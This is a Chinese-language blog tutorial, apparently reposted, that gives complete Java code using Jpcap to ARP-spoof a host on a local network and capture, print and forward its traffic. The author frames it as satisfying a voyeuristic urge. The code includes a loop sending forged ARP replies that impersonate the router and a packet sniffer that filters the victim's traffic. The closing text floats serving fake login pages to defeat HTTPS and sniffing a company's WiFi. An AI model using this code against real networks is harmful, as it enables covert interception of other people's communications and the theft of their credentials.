用Java代碼實現攔截區域網數據包


起因:

      吃飯的時間在想如果區域網內都是通過路由器上網,那如何實現攔截整個區域網的數據包,從而實現某種窺探欲。

思路:

     正常是通過電腦網卡預先設置或分配的IP+網關對路由器進行通訊,比如訪問百度:

     A主機(指定網關) >> 路由器 >> DNS(域名轉IP) >>  服務端(百度)

     而我需要達到的目的是在, "A主機” 請求"路由器"的時間進行數據包的攔截,並轉發至真正的路由器(轉發目的是為了不斷網,不被直接發現) ,這個時間A主機的請求數據就被我記錄下來了。

 

疑問:

要達到上文所訴目的,需要解決以下三個疑問

     1) A主機是如何跟路由器進行通訊(原理)

     2) 我該如何攔截

     3) 如何利用代碼或工具實現攔截

 

問題1:

        解析:A主機發送數據包肯定需要跟路由器進行交互,那么路由器的地址就一定存儲在A主機的某處地方。這就需要利用到網絡協議的ARP(<這是地址)協議(詳情請打開查看ARP原理)。

        打開命令行窗口,輸入arp -a 查看緩存地址列表,可以看到的是路由器的IP地址跟MAC地址

       

        答案:A主機發送數據包>>尋找路由器地址>>封裝數據包>>路由器

問題2:

       解析:通過問題1我們已經得知A主機是如何跟路由器進行數據包的通信的了。(廣播式獲取路由器IP地址及MAC,然后存儲在ARP緩存列表。廣播式就是整個頻段下都可以看到,例如192.168.1.*),那我們需要做的就是主動發送一個廣播給A主機,告訴它我們才是路由器。你需要發送數據包到我這里。看下圖(20:f4:1b:70:8:2e 這個是我偽裝的MAC地址),這樣A主機發送的數據包就到我們的機器里了。同時我們還需網絡轉發(原理自行百度),為什么呢,因為我們需要A主機正常上網。

      

      答案:A主機發送數據包>>偽裝路由器主機>>尋找路由器地址>>封裝數據包>>路由器

問題3:

        解析:想一想用Java寫會順手一些,並且Java有對ARP協議支持的JAR包Jpcap。

        答案:Java利用Jpcap編寫arp攔截。

通過三個問題我們收獲了ARP原理,及Java如何實現數據包攔截(Jpcap.jar+Jpcap.dll)

以上為整體思路,下面就是具體代碼實現了。(客官看懂了嗎?

 

開發環境:

編輯器:intellij idea 15

JDK:1.7

jar:Jpcap.jar

其它:jdk源目錄下放置Jpcap.dll

 

公共參數類

 1 /**
 2  * Created by duke on 2016/11/16.
 3  * arp-client
 4  */
 5 public class Constants
 6 {
 7     public static  final String version = "0.1";
 8     public static  final String author = "Duke 西瓜大人";
 9 
10     /*************************************************************************************
11      *                              參數配置                                                        *
12      * ***********************************************************************************
13      */
14     public static String DE_IP = "192.168.1.159";
15     public static String DE_MAC = "ac-bc-32-93-97-6d";
16     public static String SRC_IP = "192.168.1.1";//
17     public static String SRC_MAC = "20-F4-1B-80-08-2E";
18     public static int NET_WORK = 0;
19     public static int TIME = 2;
20 }
公共參數類View

 

網卡工具類

 1 package util;
 2 
 3 import jpcap.JpcapCaptor;
 4 import jpcap.NetworkInterface;
 5 import jpcap.NetworkInterfaceAddress;
 6 
 7 /**
 8  * Created by duke on 2016/11/16.
 9  * arp-client
10  */
11 public class NetWorkUtil
12 {
13     public static void main(String[] args) {
14         getDevice(0);
15         System.out.println(">>>>>>>>>>>>>>>>>>>");
16         getDevice(1);
17     }
18 
19     /**
20      * 使用String的startsWith函數判斷IP相同的開始部分相同即可
21      * @param segment 例如:192.168.1
22      * @return
23      */
24     public static NetworkInterface getDevice(String segment)
25     {
26         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
27         for (int i =0;i<devices.length;i++)
28         {
29             NetworkInterfaceAddress[] addresses = devices[i].addresses;
30             if(addresses[1].address.toString().startsWith(segment)){
31                 return  devices[i];
32             }
33         }
34         return devices[0];
35     }
36     public static NetworkInterface getDevice(int network)
37     {
38         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
39         NetworkInterfaceAddress[] addresses = devices[network].addresses;
40         NetworkInterface device = devices[network];
41         return device;
42     }
43 }
網卡工具類View

 

ARP測試類

 1 import jpcap.JpcapCaptor;
 2 import jpcap.JpcapSender;
 3 import jpcap.NetworkInterface;
 4 import jpcap.packet.ARPPacket;
 5 import jpcap.packet.EthernetPacket;
 6 
 7 import java.net.InetAddress;
 8 import java.net.UnknownHostException;
 9 
10 /**
11  * Created by duke on 2016/11/15.
12  * arp-client
13  * 對指定主機的攔截
14  */
15 public class ArpTest
16 {
17 
18 
19     public static void main(String[] args) throws Exception {
20         sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME);
21     }
22     /**
23      *  為什么需要IP地址跟MAC地址呢?因為我們需要去對他進行ARP協議的欺騙。
24      * @param deip A主機地址(被欺騙的目標IP地址
25      * @param deMac A主機MAC地址(被欺騙的目標目標MAC數組
26      * @param srcIp 被替換Mac地址的IP地址
27      * @param srcMac 假的MAC數組,也就是我們用來捕捉數據包的主機MAC地址。
28      * @param network 發送arp的網卡,與被欺騙目標地址需要在同一網段
29      * @param time ARP重發間隔時間,不斷發送防止被路由器地址替換
30      * @throws Exception
31      */
32     static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception {
33         InetAddress desip = InetAddress.getByName(deip);
34         byte[] desmac = stomac(deMac);
35         InetAddress srcip = InetAddress.getByName(srcIp);
36         byte[] srcmac = stomac(srcMac);
37         // 枚舉網卡並打開設備
38         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
39         NetworkInterface device = devices[network];
40         JpcapSender sender = JpcapSender.openDevice(device);
41         // 設置ARP包
42         ARPPacket arp = new ARPPacket();
43         arp.hardtype = ARPPacket.HARDTYPE_ETHER;
44         arp.prototype = ARPPacket.PROTOTYPE_IP;
45         arp.operation = ARPPacket.ARP_REPLY;
46         arp.hlen = 6;
47         arp.plen = 4;
48         arp.sender_hardaddr = srcmac;
49         arp.sender_protoaddr = srcip.getAddress();
50         arp.target_hardaddr = desmac;
51         arp.target_protoaddr = desip.getAddress();
52         // 設置DLC幀
53         EthernetPacket ether = new EthernetPacket();
54         ether.frametype = EthernetPacket.ETHERTYPE_ARP;
55         ether.src_mac = srcmac;
56         ether.dst_mac = desmac;
57         arp.datalink = ether;
58         // 發送ARP應答包
59         while (true) {
60             System.out.println("send arp  >  "+deip);
61             sender.sendPacket(arp);
62             Thread.sleep(time * 1000);
63         }
64     }
65     static byte[] stomac(String s)
66     {
67         byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
68         String[] s1 = s.split("-");
69         for (int x = 0; x < s1.length; x++)
70         {
71             mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
72         }
73         return mac;
74     }
75 }
Arp測試類View

 

數據包攔截類

 1 import jpcap.*;
 2 import jpcap.packet.Packet;
 3 import util.NetWorkUtil;
 4 
 5 import java.io.IOException;
 6 import java.io.UnsupportedEncodingException;
 7 
 8 /**
 9  * Created by duke on 2016/11/15.
10  * arp-client
11  */
12 public class NetWorkIntercept
13 {
14     /*
15        攔截網卡數據包
16      */
17     public static void main(String[] args) throws Exception {
18         //請先移步ArpTest運行Main函數進行ARP欺騙(記得修改參數值為你自己測試環境
19 
20         //獲取同網段網卡
21         NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK);
22         //打開網卡
23         JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20);
24 
25         while (true)
26         {
27           //獲取流量包,這個時間arp欺詐成功后,該主機的流量包就會通過你的主機網卡發送。
28           Packet p = captor.getPacket();
29           if(p!=null)
30           {
31               byte header_byte[] = p.data;
32               String header = new String(header_byte,"ISO-8859-1");
33               //captor.setFilter("",true); 篩選函數還在研究怎么用舒服  這里約定協議會好用一點
34               if(header.contains("qichacha")) //我覺得這種更爽  哈哈哈
35               {
36                   System.out.println(header);//獲取數據包干一些你該干的事情
37                   JpcapSender sender = captor.getJpcapSenderInstance();//獲取
38                   sender.sendPacket(p);//數據包發送(
39               }
40           }
41 
42       }
43 
44     }
45 }
數據包攔截類View

 

 

 在完成以上代碼后,我又碰到倆個問題,我的初衷是:“攔截整個區域網的數據包,從而實現某種窺探欲。”

 可是目前關鍵問題是HTTP協議數據包能正常攔截,但是HTTPS是加密的阿!  而現在主流網站都是使用HTTPS加密的,過分(不過可以利用劫持來解決,比如你想登錄企業qq郵箱,攔截到數據包后返回一個假的給你,這種就針對性比較強了)!!!!

 另外一個問題就是我想繼續修改傳入傳出的數據包。(留到下一步解決把,畢竟工作也挺多事情的 哈哈哈~

 這個問題也暴漏了公司內部安全漏洞,試想一下,我蹲在你家公司門口,掃你家公司WIFI,一直掃到密碼進去 如果沒有反ARP措施,那不是隨隨便便的就能拿到相當多的數據了。

 

 代碼下載:https://pan.baidu.com/s/1bpECV4V (包括引用的jar包跟dll

 

查閱的相關文檔:

http://baike.baidu.com/link?url=cUC4NJGprFT40oQ01TsEHr1XnyChb1-AoQx_gXn7s6dnxszgmJUJ6ZfQtKXLkHeWs8cRJHETFezgaVvWQ24Qo_

http://blog.csdn.net/jiasike/article/details/51026905

http://3y.uu456.com/bp_83y3a1vqlk01k8300stp_1.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM